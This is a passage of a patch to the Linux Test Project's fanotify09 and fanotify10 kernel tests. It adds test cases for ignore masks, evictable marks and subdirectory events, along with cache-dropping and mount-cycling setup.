+		.ignore = FAN_MARK_IGNORE_SURV,
+		.ignore_flags = FAN_EVENT_ON_CHILD,
+		.event_path = DIR_NAME,
+		.nevents = 2,
+		.nonfirst_event = FAN_CLOSE_NOWRITE,
+	},
+	{
+		.tname = "Events on subdir with ignore mask on parent that does apply to subdirs",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.ondir = FAN_ONDIR,
+		.ignore = FAN_MARK_IGNORE_SURV,
+		.ignore_flags = FAN_EVENT_ON_CHILD | FAN_ONDIR,
+		.event_path = DIR_NAME,
+		.nevents = 2,
 	},
 };
 
 static void create_fanotify_groups(struct tcase *tc)
 {
 	struct fanotify_mark_type *mark = &tc->mark;
-	unsigned int i, onchild, report_name, ondir = tc->ondir;
+	int i;
 
 	for (i = 0; i < NUM_GROUPS; i++) {
 		/*
-		 * The first group may request events with filename info.
+		 * The first group may request events with filename info and
+		 * events on subdirs and always request events on children.
 		 */
-		report_name = (i == 0) ? tc->report_name : 0;
+		unsigned int report_name = tc->report_name;
+		unsigned int mask_flags = tc->ondir | FAN_EVENT_ON_CHILD;
+		unsigned int parent_mask, ignore_mask, ignore = 0;
+
+		/*
+		 * The non-first groups may request events on children and
+		 * subdirs only when setting an ignore mask on parent dir.
+		 * The parent ignore mask may request to ignore events on
+		 * children or subdirs.
+		 */
+		if (i > 0) {
+			ignore = tc->ignore;
+			report_name = 0;
+			if (!ignore)
+				mask_flags = 0;
+		}
+
 		fd_notify[i] = SAFE_FANOTIFY_INIT(FAN_CLASS_NOTIF | report_name |
 						  FAN_NONBLOCK, O_RDONLY);
 
@@ -144,21 +243,26 @@
 		 * Add subdir or mount mark for each group with CLOSE event,
 		 * but only the first group requests events on dir.
 		 */
-		onchild = (i == 0) ? FAN_EVENT_ON_CHILD | ondir : 0;
 		SAFE_FANOTIFY_MARK(fd_notify[i],
 				    FAN_MARK_ADD | mark->flag,
-				    FAN_CLOSE_NOWRITE | onchild,
-				    AT_FDCWD, tc->close_nowrite);
+				    FAN_CLOSE_NOWRITE | mask_flags,
+				    AT_FDCWD, tc->event_path);
 
 		/*
 		 * Add inode mark on parent for each group with MODIFY event,
 		 * but only the first group requests events on child.
 		 * The one mark with FAN_EVENT_ON_CHILD is needed for
-		 * setting the DCACHE_FSNOTIFY_PARENT_WATCHED dentry
-		 * flag.
+		 * setting the DCACHE_FSNOTIFY_PARENT_WATCHED dentry flag.
+		 *
+		 * The inode mark on non-first group is either with FAN_MODIFY
+		 * in mask or FAN_CLOSE_NOWRITE in ignore mask. In either case,
+		 * it is not expected to get the modify event on a child, nor
+		 * the close event on dir.
 		 */
-		SAFE_FANOTIFY_MARK(fd_notify[i], FAN_MARK_ADD,
-				    FAN_MODIFY | ondir | onchild,
+		parent_mask = FAN_MODIFY | tc->ondir | mask_flags;
+		ignore_mask = FAN_CLOSE_NOWRITE | tc->ignore_flags;
+		SAFE_FANOTIFY_MARK(fd_notify[i], FAN_MARK_ADD | ignore,
+				    ignore ? ignore_mask : parent_mask,
 				    AT_FDCWD, ".");
 	}
 }
@@ -173,12 +277,28 @@
 	}
 }
 
+static void check_ignore_mask(int fd)
+{
+	unsigned int ignored_mask, mflags;
+	char procfdinfo[100];
+
+	sprintf(procfdinfo, "/proc/%d/fdinfo/%d", (int)getpid(), fd);
+	if (FILE_LINES_SCANF(procfdinfo, "fanotify ino:%*x sdev:%*x mflags: %x mask:0 ignored_mask:%x",
+				&mflags, &ignored_mask) || !ignored_mask) {
+		tst_res(TFAIL, "The ignore mask did not survive");
+	} else {
+		tst_res(TPASS, "Found mark with ignore mask (ignored_mask=%x, mflags=%x) in %s",
+				ignored_mask, mflags, procfdinfo);
+	}
+}
+
 static void event_res(int ttype, int group,
 		      struct fanotify_event_metadata *event,
 		      const char *filename)
 {
 	if (event->fd != FAN_NOFD) {
 		int len = 0;
+
 		sprintf(symlnk, "/proc/self/fd/%d", event->fd);
 		len = readlink(symlnk, fdpath, sizeof(fdpath));
 		if (len < 0)
@@ -186,9 +306,10 @@
 		fdpath[len] = 0;
 		filename = fdpath;
 	}
+
 	tst_res(ttype, "group %d got event: mask %llx pid=%u fd=%d filename=%s",
 		group, (unsigned long long)event->mask,
-		(unsigned)event->pid, event->fd, filename);
+		(unsigned int)event->pid, event->fd, filename);
 }
 
 static const char *event_filename(struct fanotify_event_metadata *event)
@@ -218,16 +339,16 @@
 		tst_res(TFAIL, "group %d got event: mask %llx (expected %llx) "
 			"pid=%u fd=%d filename=%s", group, (unsigned long long)event->mask,
 			(unsigned long long)expect,
-			(unsigned)event->pid, event->fd, filename);
+			(unsigned int)event->pid, event->fd, filename);
 	} else if (event->pid != getpid()) {
 		tst_res(TFAIL, "group %d got event: mask %llx pid=%u "
 			"(expected %u) fd=%d filename=%s", group,
-			(unsigned long long)event->mask, (unsigned)event->pid,
-			(unsigned)getpid(), event->fd, filename);
+			(unsigned long long)event->mask, (unsigned int)event->pid,
+			(unsigned int)getpid(), event->fd, filename);
 	} else if (strcmp(filename, expect_filename)) {
 		tst_res(TFAIL, "group %d got event: mask %llx pid=%u "
 			"fd=%d filename='%s' (expected '%s')", group,
-			(unsigned long long)event->mask, (unsigned)event->pid,
+			(unsigned long long)event->mask, (unsigned int)event->pid,
 			event->fd, filename, expect_filename);
 	} else {
 		event_res(TPASS, group, event, filename);
@@ -236,6 +357,15 @@
 		SAFE_CLOSE(event->fd);
 }
 
+static void close_event_fds(struct fanotify_event_metadata *event, int buflen)
+{
+	/* Close all file descriptors of read events */
+	for (; FAN_EVENT_OK(event, buflen); FAN_EVENT_NEXT(event, buflen)) {
+		if (event->fd != FAN_NOFD)
+			SAFE_CLOSE(event->fd);
+	}
+}
+
 static void test_fanotify(unsigned int n)
 {
 	int ret, dirfd;
@@ -250,6 +380,17 @@
 		return;
 	}
 
+	if (tc->ignore && tst_kvercmp(5, 19, 0) < 0) {
+		tst_res(TCONF, "ignored mask on parent dir has undefined "
+				"behavior on kernel < 5.19");
+		return;
+	}
+
+	if (ignore_mark_unsupported && tc->ignore & FAN_MARK_IGNORE) {
+		tst_res(TCONF, "FAN_MARK_IGNORE not supported in kernel?");
+		return;
+	}
+
 	create_fanotify_groups(tc);
 
 	/*
@@ -259,9 +400,8 @@
 	/*
 	 * generate FAN_CLOSE_NOWRITE event on a child, subdir or "."
 	 */
-	dirfd = SAFE_OPEN(tc->close_nowrite, O_RDONLY);
-	if (dirfd >= 0)
-		SAFE_CLOSE(dirfd);
+	dirfd = SAFE_OPEN(tc->event_path, O_RDONLY);
+	SAFE_CLOSE(dirfd);
 
 	/*
 	 * First verify the first group got the file MODIFY event and got just
@@ -276,17 +416,19 @@
 				"reading fanotify events failed");
 		}
 	}
+	event = (struct fanotify_event_metadata *)event_buf;
 	if (ret < tc->nevents * (int)FAN_EVENT_METADATA_LEN) {
-		tst_brk(TBROK,
+		tst_res(TFAIL,
 			"short read when reading fanotify events (%d < %d)",
 			ret, tc->nevents * (int)FAN_EVENT_METADATA_LEN);
 	}
-	event = (struct fanotify_event_metadata *)event_buf;
-	verify_event(0, event, FAN_MODIFY, tc->report_name ? fname : "");
-	event = FAN_EVENT_NEXT(event, ret);
-	if (tc->nevents > 1) {
+	if (FAN_EVENT_OK(event, ret)) {
+		verify_event(0, event, FAN_MODIFY, tc->report_name ? fname : "");
+		event = FAN_EVENT_NEXT(event, ret);
+	}
+	if (tc->nevents > 1 && FAN_EVENT_OK(event, ret)) {
 		verify_event(0, event, FAN_CLOSE_NOWRITE,
-			     tc->report_name ? (tc->ondir ? "." : tc->close_nowrite) : "");
+			     tc->report_name ? (tc->ondir ? "." : tc->event_path) : "");
 		event = FAN_EVENT_NEXT(event, ret);
 	}
 	if (ret > 0) {
@@ -294,37 +436,33 @@
 			"first group got more than %d events (%d bytes)",
 			tc->nevents, ret);
 	}
-	/* Close all file descriptors of read events */
-	for (; FAN_EVENT_OK(event, ret); FAN_EVENT_NEXT(event, ret)) {
-		if (event->fd != FAN_NOFD)
-			SAFE_CLOSE(event->fd);
-	}
+	close_event_fds(event, ret);
 
 	/*
 	 * Then verify the rest of the groups did not get the MODIFY event and
 	 * got the FAN_CLOSE_NOWRITE event only on a non-directory.
 	 */
 	for (i = 1; i < NUM_GROUPS; i++) {
+		/*
+		 * Verify that ignore mask survived the modify event on child,
+		 * which was not supposed to be sent to this group.
+		 */
+		if (tc->ignore)
+			check_ignore_mask(fd_notify[i]);
+
 		ret = read(fd_notify[i], event_buf, EVENT_BUF_LEN);
 		if (ret > 0) {
-			uint32_t expect = 0;
-
-			if (tc->nevents > 1 && !tc->ondir)
-				expect = FAN_CLOSE_NOWRITE;
-
 			event = (struct fanotify_event_metadata *)event_buf;
-			verify_event(i, event, expect, "");
+			verify_event(i, event, tc->nonfirst_event, "");
 			event = FAN_EVENT_NEXT(event, ret);
 
-			for (; FAN_EVENT_OK(event, ret); FAN_EVENT_NEXT(event, ret)) {
-				if (event->fd != FAN_NOFD)
-					SAFE_CLOSE(event->fd);
-			}
+			close_event_fds(event, ret);
 			continue;
 		}
 
 		if (ret == 0) {
-			tst_brk(TBROK, "zero length read from fanotify fd");
+			tst_res(TFAIL, "group %d zero length read from fanotify fd", i);
+			continue;
 		}
 
 		if (errno != EAGAIN) {
@@ -332,7 +470,10 @@
 				"reading fanotify events failed");
 		}
 
-		tst_res(TPASS, "group %d got no event", i);
+		if (tc->nonfirst_event)
+			tst_res(TFAIL, "group %d expected and got no event", i);
+		else
+			tst_res(TPASS, "group %d got no event as expected", i);
 	}
 	cleanup_fanotify_groups();
 }
@@ -341,6 +482,7 @@
 {
 	fan_report_dfid_unsupported = fanotify_init_flags_supported_on_fs(FAN_REPORT_DFID_NAME,
 									  MOUNT_PATH);
+	ignore_mark_unsupported = fanotify_mark_supported_by_kernel(FAN_MARK_IGNORE_SURV);
 
 	SAFE_MKDIR(MOUNT_NAME, 0755);
 	SAFE_MOUNT(MOUNT_PATH, MOUNT_NAME, "none", MS_BIND, NULL);
@@ -359,8 +501,8 @@
 
 	SAFE_CHDIR("../");
 
-	if (mount_created && tst_umount(MOUNT_NAME) < 0)
-		tst_brk(TBROK | TERRNO, "umount failed");
+	if (mount_created)
+		SAFE_UMOUNT(MOUNT_NAME);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/fanotify/fanotify10.c b/testcases/kernel/syscalls/fanotify/fanotify10.c
index 92e4d3f..ca0d8a9 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify10.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify10.c
@@ -49,7 +49,7 @@
 
 #define EVENT_MAX 1024
 /* size of the event structure, not counting name */
-#define EVENT_SIZE  (sizeof (struct fanotify_event_metadata))
+#define EVENT_SIZE  (sizeof(struct fanotify_event_metadata))
 /* reasonable guess as to size of 1024 events */
 #define EVENT_BUF_LEN        (EVENT_MAX * EVENT_SIZE)
 
@@ -66,41 +66,59 @@
 #define GROUPS_PER_PRIO 3
 
 static int fd_notify[NUM_CLASSES][GROUPS_PER_PRIO];
+static int fd_syncfs;
 
 static char event_buf[EVENT_BUF_LEN];
 static int exec_events_unsupported;
 static int fan_report_dfid_unsupported;
 static int filesystem_mark_unsupported;
+static int evictable_mark_unsupported;
+static int ignore_mark_unsupported;
 
 #define MOUNT_PATH "fs_mnt"
 #define MNT2_PATH "mntpoint"
+#define DIR_NAME "testdir"
 #define FILE_NAME "testfile"
 #define FILE2_NAME "testfile2"
+#define SUBDIR_NAME "testdir2"
 #define TEST_APP "fanotify_child"
 #define TEST_APP2 "fanotify_child2"
-#define FILE_PATH MOUNT_PATH"/"FILE_NAME
-#define FILE2_PATH MOUNT_PATH"/"FILE2_NAME
+#define DIR_PATH MOUNT_PATH"/"DIR_NAME
+#define FILE_PATH DIR_PATH"/"FILE_NAME
+#define FILE2_PATH DIR_PATH"/"FILE2_NAME
+#define SUBDIR_PATH DIR_PATH"/"SUBDIR_NAME
 #define FILE_EXEC_PATH MOUNT_PATH"/"TEST_APP
 #define FILE2_EXEC_PATH MOUNT_PATH"/"TEST_APP2
-#define FILE_MNT2 MNT2_PATH"/"FILE_NAME
-#define FILE2_MNT2 MNT2_PATH"/"FILE2_NAME
+#define DIR_MNT2 MNT2_PATH"/"DIR_NAME
+#define FILE_MNT2 DIR_MNT2"/"FILE_NAME
+#define FILE2_MNT2 DIR_MNT2"/"FILE2_NAME
 #define FILE_EXEC_PATH2 MNT2_PATH"/"TEST_APP
 #define FILE2_EXEC_PATH2 MNT2_PATH"/"TEST_APP2
 
+#define DROP_CACHES_FILE "/proc/sys/vm/drop_caches"
+#define CACHE_PRESSURE_FILE "/proc/sys/vm/vfs_cache_pressure"
+
+static int old_cache_pressure;
 static pid_t child_pid;
 static int bind_mount_created;
 static unsigned int num_classes = NUM_CLASSES;
 
 enum {
 	FANOTIFY_INODE,
+	FANOTIFY_PARENT,
+	FANOTIFY_SUBDIR,
 	FANOTIFY_MOUNT,
 	FANOTIFY_FILESYSTEM,
+	FANOTIFY_EVICTABLE,
 };
 
 static struct fanotify_mark_type fanotify_mark_types[] = {
 	INIT_FANOTIFY_MARK_TYPE(INODE),
+	INIT_FANOTIFY_MARK_TYPE(PARENT),
+	INIT_FANOTIFY_MARK_TYPE(SUBDIR),
 	INIT_FANOTIFY_MARK_TYPE(MOUNT),
 	INIT_FANOTIFY_MARK_TYPE(FILESYSTEM),
+	INIT_FANOTIFY_MARK_TYPE(EVICTABLE),
 };
 
 static struct tcase {
@@ -109,7 +127,7 @@
 	int mark_type;
 	const char *ignore_path;
 	int ignore_mark_type;
-	unsigned int ignored_onchild;
+	unsigned int ignored_flags;
 	const char *event_path;
 	unsigned long long expected_mask_with_ignore;
 	unsigned long long expected_mask_without_ignore;
@@ -232,71 +250,155 @@
 	},
 	{
 		"ignore child exec events created on a specific mount point",
-		MOUNT_PATH, FANOTIFY_INODE,
+		MOUNT_PATH, FANOTIFY_PARENT,
 		MOUNT_PATH, FANOTIFY_MOUNT,
 		0,
 		FILE_EXEC_PATH, FAN_OPEN_EXEC, FAN_OPEN | FAN_OPEN_EXEC
 	},
 	{
 		"ignore events on children of directory created on a specific file",
-		MNT2_PATH, FANOTIFY_INODE,
-		FILE_PATH, FANOTIFY_INODE,
+		DIR_PATH, FANOTIFY_PARENT,
+		DIR_PATH, FANOTIFY_PARENT,
 		FAN_EVENT_ON_CHILD,
 		FILE_PATH, 0, FAN_OPEN
 	},
 	{
 		"ignore events on file created inside a parent watching children",
 		FILE_PATH, FANOTIFY_INODE,
-		MNT2_PATH, FANOTIFY_INODE,
+		DIR_PATH, FANOTIFY_PARENT,
 		FAN_EVENT_ON_CHILD,
 		FILE_PATH, 0, FAN_OPEN
 	},
 	{
 		"don't ignore events on file created inside a parent not watching children",
 		FILE_PATH, FANOTIFY_INODE,
-		MNT2_PATH, FANOTIFY_INODE,
+		DIR_PATH, FANOTIFY_PARENT,
 		0,
 		FILE_PATH, FAN_OPEN, FAN_OPEN
 	},
 	{
 		"ignore mount events created inside a parent watching children",
 		FILE_PATH, FANOTIFY_MOUNT,
-		MNT2_PATH, FANOTIFY_INODE,
+		DIR_PATH, FANOTIFY_PARENT,
 		FAN_EVENT_ON_CHILD,
 		FILE_PATH, 0, FAN_OPEN
 	},
 	{
 		"don't ignore mount events created inside a parent not watching children",
 		FILE_PATH, FANOTIFY_MOUNT,
-		MNT2_PATH, FANOTIFY_INODE,
+		DIR_PATH, FANOTIFY_PARENT,
 		0,
 		FILE_PATH, FAN_OPEN, FAN_OPEN
 	},
 	{
 		"ignore fs events created inside a parent watching children",
 		FILE_PATH, FANOTIFY_FILESYSTEM,
-		MNT2_PATH, FANOTIFY_INODE,
+		DIR_PATH, FANOTIFY_PARENT,
 		FAN_EVENT_ON_CHILD,
 		FILE_PATH, 0, FAN_OPEN
 	},
 	{
 		"don't ignore fs events created inside a parent not watching children",
 		FILE_PATH, FANOTIFY_FILESYSTEM,
-		MNT2_PATH, FANOTIFY_INODE,
+		DIR_PATH, FANOTIFY_PARENT,
 		0,
 		FILE_PATH, FAN_OPEN, FAN_OPEN
 	},
+	/* Evictable ignore mark test cases */
+	{
+		"don't ignore mount events created on file with evicted ignore mark",
+		MOUNT_PATH, FANOTIFY_MOUNT,
+		FILE_PATH, FANOTIFY_EVICTABLE,
+		0,
+		FILE_PATH, FAN_OPEN, FAN_OPEN
+	},
+	{
+		"don't ignore fs events created on a file with evicted ignore mark",
+		MOUNT_PATH, FANOTIFY_FILESYSTEM,
+		FILE_PATH, FANOTIFY_EVICTABLE,
+		0,
+		FILE_PATH, FAN_OPEN, FAN_OPEN
+	},
+	{
+		"don't ignore mount events created inside a parent with evicted ignore mark",
+		MOUNT_PATH, FANOTIFY_MOUNT,
+		DIR_PATH, FANOTIFY_EVICTABLE,
+		FAN_EVENT_ON_CHILD,
+		FILE_PATH, FAN_OPEN, FAN_OPEN
+	},
+	{
+		"don't ignore fs events created inside a parent with evicted ignore mark",
+		MOUNT_PATH, FANOTIFY_FILESYSTEM,
+		DIR_PATH, FANOTIFY_EVICTABLE,
+		FAN_EVENT_ON_CHILD,
+		FILE_PATH, FAN_OPEN, FAN_OPEN
+	},
+	/* FAN_MARK_IGNORE specific test cases */
+	{
+		"ignore events on subdir inside a parent watching subdirs",
+		SUBDIR_PATH, FANOTIFY_SUBDIR,
+		DIR_PATH, FANOTIFY_PARENT,
+		FAN_EVENT_ON_CHILD | FAN_ONDIR,
+		SUBDIR_PATH, 0, FAN_OPEN | FAN_ONDIR
+	},
+	{
+		"don't ignore events on subdir inside a parent not watching children",
+		SUBDIR_PATH, FANOTIFY_SUBDIR,
+		DIR_PATH, FANOTIFY_PARENT,
+		FAN_ONDIR,
+		SUBDIR_PATH, FAN_OPEN | FAN_ONDIR, FAN_OPEN | FAN_ONDIR
+	},
+	{
+		"don't ignore events on subdir inside a parent watching non-dir children",
+		SUBDIR_PATH, FANOTIFY_SUBDIR,
+		DIR_PATH, FANOTIFY_PARENT,
+		FAN_EVENT_ON_CHILD,
+		SUBDIR_PATH, FAN_OPEN | FAN_ONDIR, FAN_OPEN | FAN_ONDIR
+	},
 };
 
+static void show_fanotify_ignore_marks(int fd, int expected)
+{
+	unsigned int mflags, mask, ignored_mask;
+	char procfdinfo[100];
+
+	sprintf(procfdinfo, "/proc/%d/fdinfo/%d", (int)getpid(), fd);
+	if (FILE_LINES_SCANF(procfdinfo, "fanotify ino:%*x sdev:%*x mflags: %x mask:%x ignored_mask:%x",
+				&mflags, &mask, &ignored_mask) || !ignored_mask) {
+		tst_res(!expected ? TPASS : TFAIL,
+			"No fanotify inode ignore marks %sexpected",
+			!expected ? "as " : "is un");
+	} else {
+		tst_res(expected ? TPASS : TFAIL,
+			"Found %sexpected inode ignore mark (mflags=%x, mask=%x ignored_mask=%x)",
+			expected ? "" : "un", mflags, mask, ignored_mask);
+	}
+}
+
+static void drop_caches(void)
+{
+	if (syncfs(fd_syncfs) < 0)
+		tst_brk(TBROK | TERRNO, "Unexpected error when syncing filesystem");
+
+	SAFE_FILE_PRINTF(DROP_CACHES_FILE, "3");
+}
+
 static int create_fanotify_groups(unsigned int n)
 {
 	struct tcase *tc = &tcases[n];
 	struct fanotify_mark_type *mark, *ignore_mark;
 	unsigned int mark_ignored, mask;
 	unsigned int p, i;
+	int evictable_ignored = (tc->ignore_mark_type == FANOTIFY_EVICTABLE);
+	int ignore_mark_type;
+	int ignored_onchild = tc->ignored_flags & FAN_EVENT_ON_CHILD;
 
 	mark = &fanotify_mark_types[tc->mark_type];
 	ignore_mark = &fanotify_mark_types[tc->ignore_mark_type];
+	ignore_mark_type = ignore_mark->flag & FAN_MARK_TYPES;
+
+	/* Open fd for syncfs before creating groups to avoid the FAN_OPEN event */
+	fd_syncfs = SAFE_OPEN(MOUNT_PATH, O_RDONLY);
 
 	for (p = 0; p < num_classes; p++) {
 		for (i = 0; i < GROUPS_PER_PRIO; i++) {
@@ -312,36 +414,87 @@
 			SAFE_FANOTIFY_MARK(fd_notify[p][i],
 					    FAN_MARK_ADD | mark->flag,
 					    tc->expected_mask_without_ignore |
-					    FAN_EVENT_ON_CHILD,
+					    FAN_EVENT_ON_CHILD | FAN_ONDIR,
 					    AT_FDCWD, tc->mark_path);
 
-			/* Add ignore mark for groups with higher priority */
+			/* Do not add ignore mark for first priority groups */
 			if (p == 0)
 				continue;
 
-			mask = FAN_OPEN;
-			mark_ignored = FAN_MARK_IGNORED_MASK |
-					FAN_MARK_IGNORED_SURV_MODIFY;
+			/*
+			 * Run tests in two variants:
+			 * 1. Legacy FAN_MARK_IGNORED_MASK
+			 * 2. FAN_MARK_IGNORE
+			 */
+			mark_ignored = tst_variant ? FAN_MARK_IGNORE_SURV : FAN_MARK_IGNORED_SURV;
+			mask = FAN_OPEN | tc->ignored_flags;
 add_mark:
 			SAFE_FANOTIFY_MARK(fd_notify[p][i],
 					    FAN_MARK_ADD | ignore_mark->flag | mark_ignored,
 					    mask, AT_FDCWD, tc->ignore_path);
 
 			/*
-			 * If ignored mask is on a parent watching children,
-			 * also set the flag FAN_EVENT_ON_CHILD in mark mask.
+			 * FAN_MARK_IGNORE respects FAN_EVENT_ON_CHILD flag, but legacy
+			 * FAN_MARK_IGNORED_MASK does not. When using legacy ignore mask,
+			 * if ignored mask is on a parent watching children, we need to
+			 * also set the event and flag FAN_EVENT_ON_CHILD in mark mask.
 			 * This is needed to indicate that parent ignored mask
 			 * should be applied to events on children.
 			 */
-			if (tc->ignored_onchild && mark_ignored) {
-				mask = tc->ignored_onchild;
-				/* XXX: temporary hack may be removed in the future */
-				mask |= FAN_OPEN;
+			if (ignored_onchild && mark_ignored & FAN_MARK_IGNORED_MASK) {
+				mark_ignored = 0;
+				goto add_mark;
+			}
+
+			/*
+			 * When using FAN_MARK_IGNORE, verify that the FAN_EVENT_ON_CHILD
+			 * flag in mark mask does not affect the ignore mask.
+			 *
+			 * If parent does not want to ignore FAN_OPEN events on children,
+			 * set a mark mask to watch FAN_CLOSE_WRITE events on children
+			 * to make sure we do not ignore FAN_OPEN events from children.
+			 *
+			 * If parent wants to ignore FAN_OPEN events on childern,
+			 * set a mark mask to watch FAN_CLOSE events only on parent itself
+			 * to make sure we do not get FAN_CLOSE events from children.
+			 *
+			 * If we had already set the FAN_EVENT_ON_CHILD in the parent
+			 * mark mask (mark_type == FANOTIFY_PARENT), then FAN_CLOSE mask
+			 * will apply also to childern, so we skip this verification.
+			 */
+			if (mark_ignored & FAN_MARK_IGNORE &&
+			    tc->ignore_mark_type == FANOTIFY_PARENT) {
+				if (!ignored_onchild)
+					mask = FAN_CLOSE_WRITE | FAN_EVENT_ON_CHILD | FAN_ONDIR;
+				else if (tc->mark_type == FANOTIFY_PARENT)
+					continue;
+				else if (tc->ignored_flags & FAN_ONDIR)
+					mask = FAN_CLOSE | ignored_onchild;
+				else
+					mask = FAN_CLOSE | FAN_ONDIR;
 				mark_ignored = 0;
 				goto add_mark;
 			}
 		}
 	}
+
+	/*
+	 * Verify that first priority groups have no ignore inode marks and that
+	 * drop_caches evicted the evictable ignore marks of other groups.
+	 */
+	if (evictable_ignored)
+		drop_caches();
+
+	if (ignore_mark_type == FAN_MARK_INODE) {
+		for (p = 0; p < num_classes; p++) {
+			for (i = 0; i < GROUPS_PER_PRIO; i++) {
+				if (fd_notify[p][i] > 0)
+					show_fanotify_ignore_marks(fd_notify[p][i],
+								   p > 0 && !evictable_ignored);
+			}
+		}
+	}
+
 	return 0;
 }
 
@@ -355,26 +508,43 @@
 				SAFE_CLOSE(fd_notify[p][i]);
 		}
 	}
+	if (fd_syncfs > 0)
+		SAFE_CLOSE(fd_syncfs);
+}
+
+/* Flush out all pending dirty inodes and destructing marks */
+static void mount_cycle(void)
+{
+	if (bind_mount_created)
+		SAFE_UMOUNT(MNT2_PATH);
+	SAFE_UMOUNT(MOUNT_PATH);
+	SAFE_MOUNT(tst_device->dev, MOUNT_PATH, tst_device->fs_type, 0, NULL);
+	SAFE_MOUNT(MOUNT_PATH, MNT2_PATH, "none", MS_BIND, NULL);
+	bind_mount_created = 1;
 }
 
 static void verify_event(int p, int group, struct fanotify_event_metadata *event,
 			 unsigned long long expected_mask)
 {
+	/* Only FAN_REPORT_FID reports the FAN_ONDIR flag in events on dirs */
+	if (!(fanotify_class[p] & FAN_REPORT_FID))
+		expected_mask &= ~FAN_ONDIR;
+
 	if (event->mask != expected_mask) {
 		tst_res(TFAIL, "group %d (%x) got event: mask %llx (expected %llx) "
 			"pid=%u fd=%u", group, fanotify_class[p],
 			(unsigned long long) event->mask,
 			(unsigned long long) expected_mask,
-			(unsigned)event->pid, event->fd);
+			(unsigned int)event->pid, event->fd);
 	} else if (event->pid != child_pid) {
 		tst_res(TFAIL, "group %d (%x) got event: mask %llx pid=%u "
 			"(expected %u) fd=%u", group, fanotify_class[p],
-			(unsigned long long)event->mask, (unsigned)event->pid,
-			(unsigned)getpid(), event->fd);
+			(unsigned long long)event->mask, (unsigned int)event->pid,
+			(unsigned int)child_pid, event->fd);
 	} else {
 		tst_res(TPASS, "group %d (%x) got event: mask %llx pid=%u fd=%u",
 			group, fanotify_class[p], (unsigned long long)event->mask,
-			(unsigned)event->pid, event->fd);
+			(unsigned int)event->pid, event->fd);
 	}
 }
 
@@ -425,12 +595,29 @@
 		return;
 	}
 
-	if (tc->ignored_onchild && tst_kvercmp(5, 9, 0) < 0) {
+	if (evictable_mark_unsupported && tc->ignore_mark_type == FANOTIFY_EVICTABLE) {
+		tst_res(TCONF, "FAN_MARK_EVICTABLE not supported in kernel?");
+		return;
+	}
+
+	if (ignore_mark_unsupported && tst_variant) {
+		tst_res(TCONF, "FAN_MARK_IGNORE not supported in kernel?");
+		return;
+	}
+
+	if (tc->ignored_flags & FAN_EVENT_ON_CHILD && tst_kvercmp(5, 9, 0) < 0) {
 		tst_res(TCONF, "ignored mask in combination with flag FAN_EVENT_ON_CHILD"
 				" has undefined behavior on kernel < 5.9");
 		return;
 	}
 
+	if (tc->ignored_flags && tc->ignore_mark_type == FANOTIFY_PARENT &&
+			!tst_variant && tc->mark_type == FANOTIFY_SUBDIR) {
+		tst_res(TCONF, "flags FAN_EVENT_ON_CHILD and FAN_ONDIR do not take effect"
+				" with legacy FAN_MARK_IGNORED_MASK");
+		return;
+	}
+
 	if (create_fanotify_groups(n) != 0)
 		goto cleanup;
 
@@ -483,14 +670,18 @@
 	for (p = 1; p < num_classes && !tc->expected_mask_with_ignore; p++) {
 		for (i = 0; i < GROUPS_PER_PRIO; i++) {
 			ret = read(fd_notify[p][i], event_buf, EVENT_BUF_LEN);
-			if (ret == 0) {
+			if (ret >= 0 && ret < (int)FAN_EVENT_METADATA_LEN) {
 				tst_brk(TBROK,
-					"zero length read from fanotify fd");
+					"short read when reading fanotify "
+					"events (%d < %d)", ret,
+					(int)EVENT_BUF_LEN);
 			}
+			event = (struct fanotify_event_metadata *)event_buf;
 			if (ret > 0) {
 				tst_res(TFAIL, "group %d (%x) with %s and "
-					"%s ignore mask got event",
-					i, fanotify_class[p], mark->name, ignore_mark->name);
+					"%s ignore mask got unexpected event (mask %llx)",
+					i, fanotify_class[p], mark->name, ignore_mark->name,
+					event->mask);
 				if (event->fd != FAN_NOFD)
 					SAFE_CLOSE(event->fd);
 			} else if (errno == EAGAIN) {
@@ -505,12 +696,16 @@
 	}
 cleanup:
 	cleanup_fanotify_groups();
+	mount_cycle();
 }
 
 static void setup(void)
 {
-	exec_events_unsupported = fanotify_events_supported_by_kernel(FAN_OPEN_EXEC);
+	exec_events_unsupported = fanotify_events_supported_by_kernel(FAN_OPEN_EXEC,
+								      FAN_CLASS_CONTENT, 0);
 	filesystem_mark_unsupported = fanotify_mark_supported_by_kernel(FAN_MARK_FILESYSTEM);
+	evictable_mark_unsupported = fanotify_mark_supported_by_kernel(FAN_MARK_EVICTABLE);
+	ignore_mark_unsupported = fanotify_mark_supported_by_kernel(FAN_MARK_IGNORE_SURV);
 	fan_report_dfid_unsupported = fanotify_init_flags_supported_on_fs(FAN_REPORT_DFID_NAME,
 									  MOUNT_PATH);
 	if (fan_report_dfid_unsupported) {
@@ -519,41 +714,53 @@
 		num_classes = NUM_PRIORITIES;
 	}
 
-	/* Create another bind mount at another path for generating events */
-	SAFE_MKDIR(MNT2_PATH, 0755);
-	SAFE_MOUNT(MOUNT_PATH, MNT2_PATH, "none", MS_BIND, NULL);
-	bind_mount_created = 1;
-
+	SAFE_MKDIR(DIR_PATH, 0755);
+	SAFE_MKDIR(SUBDIR_PATH, 0755);
 	SAFE_FILE_PRINTF(FILE_PATH, "1");
 	SAFE_FILE_PRINTF(FILE2_PATH, "1");
 
 	SAFE_CP(TEST_APP, FILE_EXEC_PATH);
 	SAFE_CP(TEST_APP, FILE2_EXEC_PATH);
+
+	/* Create another bind mount at another path for generating events */
+	SAFE_MKDIR(MNT2_PATH, 0755);
+	mount_cycle();
+
+	SAFE_FILE_SCANF(CACHE_PRESSURE_FILE, "%d", &old_cache_pressure);
+	/* Set high priority for evicting inodes */
+	SAFE_FILE_PRINTF(CACHE_PRESSURE_FILE, "500");
 }
 
 static void cleanup(void)
 {
 	cleanup_fanotify_groups();
 
-	if (bind_mount_created && tst_umount(MNT2_PATH) < 0)
-		tst_brk(TBROK | TERRNO, "bind umount failed");
-}
+	if (bind_mount_created)
+		SAFE_UMOUNT(MNT2_PATH);
 
-static const char *const resource_files[] = {
-	TEST_APP,
-	NULL
-};
+	SAFE_FILE_PRINTF(CACHE_PRESSURE_FILE, "%d", old_cache_pressure);
+
+	SAFE_UNLINK(FILE_PATH);
+	SAFE_UNLINK(FILE2_PATH);
+	SAFE_RMDIR(SUBDIR_PATH);
+	SAFE_RMDIR(DIR_PATH);
